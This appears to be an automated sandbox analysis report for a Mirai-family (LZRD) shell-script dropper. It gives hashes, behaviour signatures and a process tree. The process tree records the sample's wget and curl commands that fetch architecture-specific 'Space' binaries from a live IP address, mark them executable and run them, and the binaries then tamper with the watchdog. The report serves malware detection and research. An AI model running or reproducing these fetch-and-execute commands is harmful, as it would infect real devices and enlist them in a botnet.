Analysis
-
max time kernel
139s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
17-12-2024 03:40
Static task
static1
Behavioral task
behavioral1
Sample
8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh
Resource
debian9-mipsbe-20240729-en
General
-
Target
8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh
-
Size
2KB
-
MD5
27997dbf677f04b714e6bbc6c8731b3a
-
SHA1
cdc488f161e0fdbd400b7fddfa7d3243105ee9a6
-
SHA256
8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030
-
SHA512
690ddc258ace9cdcb42fc1cd9e2f72fbb0613361a4f5e2fca9fc3a91fc1e61e9d799d52657ec6372093f32493a6f2b58a8a336346d81bc998aaca8cfe3e491b1
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1563 chmod 1573 chmod 1593 chmod 1541 chmod 1551 chmod 1603 chmod 1643 chmod 1505 chmod 1583 chmod 1633 chmod 1511 chmod 1531 chmod 1623 chmod 1521 chmod 1613 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Space 1506 Space /tmp/Space 1512 Space /tmp/Space 1522 Space /tmp/Space 1532 Space /tmp/Space 1542 Space /tmp/Space 1552 Space /tmp/Space 1564 Space /tmp/Space 1574 Space /tmp/Space 1584 Space /tmp/Space 1594 Space /tmp/Space 1604 Space /tmp/Space 1614 Space /tmp/Space 1624 Space /tmp/Space 1634 Space /tmp/Space 1644 Space -
Modifies Watchdog functionality 1 TTPs 28 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 28 IoCs
description ioc Process File opened for modification /bin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space -
resource yara_rule behavioral1/files/fstream-5.dat upx -
description ioc Process File opened for reading /proc/82/status Space File opened for reading /proc/28/status Space File opened for reading /proc/1136/status Space File opened for reading /proc/514/status Space File opened for reading /proc/11/status Space File opened for reading /proc/1118/status Space File opened for reading /proc/453/status Space File opened for reading /proc/661/status Space File opened for reading /proc/1001/status Space File opened for reading /proc/16/status Space File opened for reading /proc/29/status Space File opened for reading /proc/1056/status Space File opened for reading /proc/1292/status Space File opened for reading /proc/162/status Space File opened for reading /proc/956/status Space File opened for reading /proc/1152/status Space File opened for reading /proc/940/status Space File opened for reading /proc/1307/status Space File opened for reading /proc/486/status Space File opened for reading /proc/1096/status Space File opened for reading /proc/245/status Space File opened for reading /proc/1494/status Space File opened for reading /proc/13/status Space File opened for reading /proc/1223/status Space File opened for reading /proc/514/status Space File opened for reading /proc/1141/status Space File opened for reading /proc/1155/status Space File opened for reading /proc/169/status Space File opened for reading /proc/161/status Space File opened for reading /proc/1500/status Space File opened for reading /proc/568/status Space File opened for reading /proc/1158/status Space File opened for reading /proc/20/status Space File opened for reading /proc/1537/status Space File opened for reading /proc/1597/status Space File opened for reading /proc/1535/status Space File opened for reading /proc/176/status Space File opened for reading /proc/78/status Space File opened for reading /proc/89/status Space File opened for reading /proc/1292/status Space File opened for reading /proc/137/status Space File opened for reading /proc/1343/status Space File opened for reading /proc/7/status Space File opened for reading /proc/534/status Space File opened for reading /proc/1126/status Space File opened for reading /proc/514/status Space File opened for reading /proc/315/status Space File opened for reading /proc/603/status Space File opened for reading /proc/12/status Space File opened for reading /proc/1135/status Space File opened for reading /proc/10/status Space File opened for reading /proc/15/status Space File opened for reading /proc/1049/status Space File opened for reading /proc/1053/status Space File opened for reading /proc/1466/status Space File opened for reading /proc/173/status Space File opened for reading /proc/11/status Space File opened for reading /proc/1567/status Space File opened for reading /proc/1159/status Space File opened for reading /proc/1644/status Space File opened for reading /proc/16/status Space File opened for reading /proc/1292/status Space File opened for reading /proc/1492/status Space File opened for reading /proc/1185/status Space -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1548 wget 1549 curl 1538 wget 1539 curl -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Space.x86_64 wget File opened for modification /tmp/Space.mips curl File opened for modification /tmp/Space.mips64 curl File opened for modification /tmp/Space.sh4 wget File opened for modification /tmp/Space 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh File opened for modification /tmp/Space.x86 wget File opened for modification /tmp/Space.arm6 wget File opened for modification /tmp/Space.arm6 curl File opened for modification /tmp/Space.ppc curl File opened for modification /tmp/Space.sh4 curl File opened for modification /tmp/Space.x86_64 curl File opened for modification /tmp/Space.i686 curl File opened for modification /tmp/Space.arm7 wget File opened for modification /tmp/Space.arm7 curl File opened for modification /tmp/Space.ppc wget File opened for modification /tmp/Space.mpsl wget File opened for modification /tmp/Space.mpsl curl File opened for modification /tmp/Space.arm wget File opened for modification /tmp/Space.arm5 wget File opened for modification /tmp/Space.sparc curl File opened for modification /tmp/Space.arc wget File opened for modification /tmp/Space.x86 curl File opened for modification /tmp/Space.arm curl File opened for modification /tmp/Space.m68k curl File opened for modification /tmp/Space.i686 wget File opened for modification /tmp/Space.mips wget File opened for modification /tmp/Space.arm5 curl File opened for modification /tmp/busybox cp File opened for modification /tmp/Space.arc curl File opened for modification /tmp/Space.m68k wget
Processes
-
/tmp/8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh/tmp/8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh1⤵
- Writes file to tmp directory
PID:1497 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:1498
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.arc2⤵
- Writes file to tmp directory
PID:1499
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.arc2⤵
- Writes file to tmp directory
PID:1503
-
-
/bin/catcat Space.arc2⤵PID:1504
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-EOO1Vg2⤵
- File and Directory Permissions Modification
PID:1505
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:1506
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.x862⤵
- Writes file to tmp directory
PID:1508
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.x862⤵
- Writes file to tmp directory
PID:1509
-
-
/bin/catcat Space.x862⤵PID:1510
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.x86 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-EOO1Vg2⤵
- File and Directory Permissions Modification
PID:1511
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1512
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:1518
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:1519
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-EOO1Vg2⤵
- File and Directory Permissions Modification
PID:1521
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1522
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.i6862⤵
- Writes file to tmp directory
PID:1528
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.i6862⤵
- Writes file to tmp directory
PID:1529
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-EOO1Vg2⤵
- File and Directory Permissions Modification
PID:1531
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1532
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1538
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1539
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-EOO1Vg2⤵
- File and Directory Permissions Modification
PID:1541
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1542
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.mips642⤵
- System Network Configuration Discovery
PID:1548
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.mips642⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1549
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd systemd-private-d8385872d22e473f846fe922b20da72a-systemd-timedated.service-EOO1Vg2⤵
- File and Directory Permissions Modification
PID:1551
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1552
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.mpsl2⤵
- Writes file to tmp directory
PID:1560
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.mpsl2⤵
- Writes file to tmp directory
PID:1561
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1563
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1564
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.arm2⤵
- Writes file to tmp directory
PID:1570
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.arm2⤵
- Writes file to tmp directory
PID:1571
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1573
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1574
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.arm52⤵
- Writes file to tmp directory
PID:1580
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.arm52⤵
- Writes file to tmp directory
PID:1581
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1583
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1584
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.arm62⤵
- Writes file to tmp directory
PID:1590
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.arm62⤵
- Writes file to tmp directory
PID:1591
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1593
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1594
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:1600
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:1601
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1603
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1604
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.ppc2⤵
- Writes file to tmp directory
PID:1610
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.ppc2⤵
- Writes file to tmp directory
PID:1611
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1613
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1614
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.sparc2⤵PID:1620
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.sparc2⤵
- Writes file to tmp directory
PID:1621
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1623
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1624
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.m68k2⤵
- Writes file to tmp directory
PID:1630
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.m68k2⤵
- Writes file to tmp directory
PID:1631
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1633
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1634
-
-
/usr/bin/wgetwget http://89.169.4.44/hiddenbin/Space.sh42⤵
- Writes file to tmp directory
PID:1640
-
-
/usr/bin/curlcurl -O http://89.169.4.44/hiddenbin/Space.sh42⤵
- Writes file to tmp directory
PID:1641
-
-
/bin/chmodchmod +x 8ee9185ac547822d6029ed8cfe19578b9771125077080985e4bc37938daaf030.sh busybox config-err-JIrr5e netplan_07qkaxg7 snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-9cqUTM8qhPNz systemd-private-d8385872d22e473f846fe922b20da72a-bolt.service-KHGDmC systemd-private-d8385872d22e473f846fe922b20da72a-colord.service-muLAdK systemd-private-d8385872d22e473f846fe922b20da72a-ModemManager.service-2cpANZ systemd-private-d8385872d22e473f846fe922b20da72a-systemd-resolved.service-w1Zlvd2⤵
- File and Directory Permissions Modification
PID:1643
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1644
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
34KB
MD57fd15b25eadc2d7f94f4124546174e50
SHA12c056f909dbe70e262a7ab80426b7e088799b78e
SHA25614a364908f6b67c83ce526976e8fccf4cff103d613866fb6e3da170e2e0a926f
SHA512dd28a5c4d022da86df61bb6e60ddf04eeec747be632b4801c7f8115129e26ccf1c29b9f16bcae570435a303e87175dbb1b3c2b7c622e4453dba2aa9d7a68f47d
-
Filesize
113KB
MD5df48b559206b579e49b8fe67877af3ad
SHA105509c76e87089fb3cc8f73dcb62b203c2268436
SHA256787021c436a55881b06f80e8a59f944892e912cdf1960998f907666616aef1e1
SHA512ea4493023059948a5db21a83e0a46469660e77d3f79967531fb552bf1b69ad85ade859225e30f2cecec9133715c26e052cd625d0d858b51bdc1186666840edca
-
Filesize
2.0MB
MD5b4dede5fc0b1bad5cb8e901bde126b97
SHA110cbe9a418ad84a1ed297948539d37aeb58dd810
SHA256a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
SHA51245665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6